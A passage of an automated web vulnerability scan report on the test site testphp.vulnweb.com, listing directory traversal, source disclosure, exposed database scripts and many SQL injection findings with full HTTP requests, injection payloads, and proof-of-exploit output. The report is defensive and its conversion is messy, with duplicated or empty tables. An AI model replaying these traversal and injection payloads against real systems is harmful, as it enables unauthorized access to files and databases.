<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>
%09%09<tr>
%09%09<td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>
</table>
</form>
```

Alert group
| Directory traversal (verified) |
---|---|
Severity
| High |
Description
| This script is possibly vulnerable to directory traversal attacks. Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory. |
Recommendations
| Your script should filter metacharacters from user input. |
Alert variants
| URL encoded GET input file was set to ../../../../../../../../../../../../../../proc/version |
Details
| File contents found: Linux version 2.6.32-46-server (buildd@lamiak) (gcc version 4.4.3) |
Proof of Exploit
| File - /proc/version |
| Linux version 2.6.32-46-server (buildd@lamiak) (gcc version 4.4.3) (U |
GET /showimage.php?
file=../../../../../../../../../../../proc/version&size=160 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

<table>
<thead>
<tr>
<th>/showimage.php</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
</tbody>
</table>

Alert variants
URL encoded GET input file was set to showimage.php

Pattern found:

```php
<?php
// header("Content-Length: 1" /*. filesize($name)*/);
if( isset($_GET["file"]) && !isset($_GET["size"])) {
    // open the file in a binary mode
    header("Content-Type: image/jpeg");
    $name = $_GET["file"]; // missing variable
    $fp = fopen($name, 'rb');

    // send the right headers
    header("Content-Type: image/jpeg");

    // dump the picture and stop the script
    fpassthru($fp);
    exit;
}
elseif (isset($_GET["file"]) && isset($_GET["size"])) {
    header("Content-Type: image/jpeg");
    $name = $_GET["file"]; // missing variable
    $fp = fopen($name, 'rb');

    // send the right headers
    header("Content-Type: image/jpeg");

    // dump the picture and stop the script
    fpassthru($fp);
    exit;
}
elseif (isset($_GET["file"]) && isset($_GET["size"])) {
    header("Content-Type: image/jpeg");
    $name = $_GET["file"]; // missing variable
    $fp = fopen($name, 'rb');

    // send the right headers
    header("Content-Type: image/jpeg");

    // dump the picture and stop the script
    fpassthru($fp);
    exit;
}
```

GET /showimage.php?file=showimage.php&size=160 HTTP/1.1

Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Web Server</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>Macromedia Dreamweaver remote database scripts (verified)</td>
</tr>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
</tbody>
</table>
### Macromedia Dreamweaver

#### Description
Macromedia Dreamweaver has created a directory (`_mmServerScripts` or `_mmDBScripts`) that contains scripts for testing database connectivity. One of these scripts (`mmhttpdb.php` or `mmhttpdb.asp`) can be accessed without user ID or password and contains numerous operations, such as listing Datasource Names or executing arbitrary SQL queries.

#### Recommendations
Remove these directories from production systems.

#### Details
Macromedia Dreamweaver scripts found at: `/_mmServerScripts/MMHTTPDB.php`

```
GET //_mmServerScripts/MMHTTPDB.php HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

### Web Server

#### nginx SPDY heap buffer overflow

#### Alert group
nginx SPDY heap buffer overflow

#### Severity
High

#### Description
A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the "spdy" option of the "listen" directive is used in a configuration file.

#### Recommendations
Upgrade nginx to the latest version or apply the patch provided by the vendor.

#### Alert variants

#### Details
Version detected: nginx/1.4.1.

### Web Server

#### PHP allow_url_fopen enabled (verified)

#### Alert group
PHP allow_url_fopen enabled (verified)

#### Severity
High

#### Description
The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering.

allow_url_fopen is enabled by default.

#### Recommendations
You can disable allow_url_fopen from either php.ini (for PHP versions newer than 4.3.4) or .htaccess (for PHP versions up to 4.3.4).

```
php.ini
allow_url_fopen = 'off'

.htaccess
php_flag allow_url_fopen off
```
Alert variants
Details Current setting is: *allow_url_fopen = on*

<table>
<thead>
<tr>
<th>/admin/create.sql</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
</tbody>
</table>

Alert variants
Details

GET /admin/create.sql HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Web Server
Alert group SQL injection (verified)

<table>
<thead>
<tr>
<th>Severity</th>
<th>High</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td>SQL injection (SQLI) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
</tbody>
</table>

Alert variants
Details

Cookie input *login* was set to 1ACUSTART"8oNWeACUEND
### AJAX/infoartist.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
</tbody>
</table>

#### Description
SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

#### Recommendations
Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

#### Alert variants
Details

URL encoded GET input id was set to \texttt{1 AND 3*2*1=6 AND 360=360}

Tests performed:

- \texttt{1*1} => \texttt{TRUE}
- \texttt{1*360*355*0} => \texttt{FALSE}
- \texttt{(366-360-5)} => \texttt{TRUE}
- \texttt{1/1} => \texttt{TRUE}
- \texttt{1/0} => \texttt{FALSE}
- \texttt{1/(3*2-5)} => \texttt{TRUE}
- \texttt{1 AND 5*4=20 AND 360=360} => \texttt{TRUE}
- \texttt{1 AND 5*4=21 AND 360=360} => \texttt{FALSE}
- \texttt{1 AND 5*6<26 AND 360=360} => \texttt{FALSE}
- \texttt{1 AND 7*7>48 AND 360=360} => \texttt{TRUE}
- \texttt{1 AND 3*2*0=6 AND 360=360} => \texttt{FALSE}
- \texttt{1 AND 3*2*1=6 AND 360=360} => \texttt{TRUE}

Original value: \texttt{1}

Proof of Exploit

SQL query - SELECT database()

\texttt{acuart}

GET \texttt{/AJAX/infoartist.php?id=1\%20AND\%203\*2\*1=6\%20AND\%20360=360} HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test\%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
</tbody>
</table>
Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 876=876

Tests performed:
- 1*1 => TRUE
- 1*876*871*0 => FALSE
- (882-876-5) => TRUE
- 1/1 => TRUE
- 1/0 => FALSE
- 1/(3*2-5) => TRUE
- 1 AND 5*4=20 AND 876=876 => TRUE
- 1 AND 5*4=21 AND 876=876 => FALSE
- 1 AND 5*6<26 AND 876=876 => FALSE
- 1 AND 7*7>48 AND 876=876 => TRUE
- 1 AND 3*2*0=6 AND 876=876 => FALSE
- 1 AND 3*2*1=6 AND 876=876 => TRUE

Original value: 1

Proof of Exploit

SQL query - SELECT database()

`acuart`

GET /AJAX/infocateg.php?id=1%20AND%203*2*1=6%20AND%20876=876 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/AJAX/infotitle.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
</tbody>
</table>
URL encoded POST input `id` was set to `1 AND 3*2*1=6 AND 130=130`

Tests performed:

- `1*1 => TRUE`
- `1*130*125*0 => FALSE`
- `(136-130-5) => TRUE`
- `1/1 => TRUE`
- `1/0 => FALSE`
- `1/(3*2-5) => TRUE`
- `1 AND 5*4=20 AND 130=130 => TRUE`
- `1 AND 5*4=21 AND 130=130 => FALSE`
- `1 AND 5*6<26 AND 130=130 => FALSE`
- `1 AND 7*7>48 AND 130=130 => TRUE`
- `1 AND 3*2*0=6 AND 130=130 => FALSE`
- `1 AND 3*2*1=6 AND 130=130 => TRUE`

Original value: `1`

Proof of Exploit

SQL query - SELECT database()

```
acuart
```

POST /AJAX/infotitle.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 36

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

id=1%20AND%203*2*1=6%20AND%20130%20=130

<table>
<thead>
<tr>
<th>/artists.php</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>SQL injection (verified)</td>
</tr>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Alert variants</td>
<td>URL encoded GET input <strong>artist</strong> was set to <strong>1ACUSTART''wElGoACUEND</strong></td>
</tr>
</tbody>
</table>
| Details          | **GET /artists.php?artist=1ACUSTART''wElGoACUEND HTTP/1.1**  
|                  | Acunetix-Aspect: enabled  
|                  | Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c  
|                  | Acunetix-Aspect-Queries: filelist;aspectalerts  
|                  | Referer: http://testphp.vulnweb.com/  
|                  | Cookie: login=test%2Ftest  
|                  | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
|                  | Accept-Encoding: gzip,deflate  
|                  | Host: testphp.vulnweb.com  
|                  | User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0  
|                  | Connection: Keep-alive |

**/artists.php**

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Cookie input <strong>login</strong> was set to <strong>1ACUSTART''BsdtTACUEND</strong></td>
</tr>
</tbody>
</table>
/cart.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Details</strong></td>
<td>URL encoded POST input <code>adddcart</code> was set to <code>1ACUSTART''LfRpbACUEND</code></td>
</tr>
</tbody>
</table>
POST /cart.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 40
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

addcart=1ACUSTART''LfRpBACUEND&price=500

<table>
<thead>
<tr>
<th>/cart.php</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>SQL injection (verified)</td>
</tr>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded GET input del was set to 1ACUSTART''sbNCzACUEND</td>
</tr>
</tbody>
</table>
### /cart.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Cookie input <code>login</code> was set to <code>1ACUSTART''uxY4ACUEND</code></td>
</tr>
</tbody>
</table>
### /cart.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded POST input price was set to if(now)=sysdate(),sleep(6),0)</td>
</tr>
<tr>
<td>Tests performed:</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• if(now)=sysdate(),sleep(15),0) =&gt; 15.136</td>
</tr>
<tr>
<td></td>
<td>• if(now)=sysdate(),sleep(3),0) =&gt; 3.145</td>
</tr>
<tr>
<td></td>
<td>• if(now)=sysdate(),sleep(6),0) =&gt; 6.156</td>
</tr>
<tr>
<td></td>
<td>• if(now)=sysdate(),sleep(0),0) =&gt; 0.157</td>
</tr>
<tr>
<td></td>
<td>• if(now)=sysdate(),sleep(15),0) =&gt; 15.153</td>
</tr>
<tr>
<td></td>
<td>• if(now)=sysdate(),sleep(0),0) =&gt; 0.134</td>
</tr>
<tr>
<td></td>
<td>• if(now)=sysdate(),sleep(6),0) =&gt; 6.149</td>
</tr>
<tr>
<td>Original value:</td>
<td>500</td>
</tr>
</tbody>
</table>
/guestbook.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application’s database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Cookie input login was set to 1ACUSTART&quot;sgruDACUEND</td>
</tr>
</tbody>
</table>
### Alert group

**SQL injection (verified)**

<table>
<thead>
<tr>
<th>Severity</th>
<th>Description</th>
<th>Recommendations</th>
<th>Alert variants</th>
</tr>
</thead>
<tbody>
<tr>
<td>High</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
<td>URL encoded GET input <strong>artist</strong> was set to <code>1ACUSTART''PA09UACUEND</code></td>
</tr>
</tbody>
</table>

---

GET /guestbook.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Referer: https://www.google.com/search?hl=en&q=testing
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Cookie: login=1ACUSTART''sgruDACUEND
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
Connection: Keep-alive
GET /listproducts.php?artist=1ACUSTART"PA09UACUEND HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded GET input cat was set to 1ACUSTART&quot;4exg5ACUEND</td>
</tr>
</tbody>
</table>
GET /listproducts.php?cat=1ACUSTART""4exg5ACUEND HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/listproducts.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Cookie input login was set to 1ACUSTART&quot;&quot;qmulUACUEND</td>
</tr>
</tbody>
</table>
### Alert group
SQL injection (verified)

### Severity
High

### Description
SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application’s database server.

### Recommendations
Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

### Alert variants

### Details
### SQL injection (verified)

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
</tbody>
</table>

### Alert variants

Details

---

```
GET /Mod_Rewrite_Shop/BuyProduct-3/?id=1''ACUEND HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
User-Agent: 1''2000
referer: 1''3000
client-ip: 1''4000
x-forwarded-for: 1''5000
accept-language: 1''6000
via: 1''7000
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
Connection: Keep-alive
```
GET /Mod_Rewrite_Shop/Details/color-printer/3/?id=1ACUSTART'' ACUEND HTTP/1.1

Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
User-Agent: 1''2000
referer: 1''3000
client-ip: 1''4000
x-forwarded-for: 1''5000
accept-language: 1''6000
via: 1''7000
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td></td>
</tr>
</tbody>
</table>
SQL injection (verified)

Severity: High

Description: SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

Recommendations: Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

Alert variants

Details
/product.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Cookie input login was set to 1ACUSTART''2hLJVACUEND</td>
</tr>
<tr>
<td>Alert group</td>
<td>SQL injection (verified)</td>
</tr>
<tr>
<td>---------------------------------</td>
<td>--------------------------</td>
</tr>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded GET input <code>pic</code> was set to <code>1ACUSTART&quot;HdhEDACUEND</code></td>
</tr>
</tbody>
</table>
/search.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
</tbody>
</table>

Alert variants

Details

Cookie input login was set to 1ACUSTART''9rELNACUEND
SQL injection (verified)

<table>
<thead>
<tr>
<th>Alert group</th>
<th>SQL injection (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>High</td>
</tr>
<tr>
<td>Description</td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>URL encoded POST input searchFor was set to 1ACUSTART''9BDCVACUEND</td>
</tr>
</tbody>
</table>
POST /search.php?test=query HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 44
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

```
/goButton=go&searchFor=1ACUSTART"%9BDCVACUEND
```

<table>
<thead>
<tr>
<th>/search.php</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td>SQL injection (verified)</td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
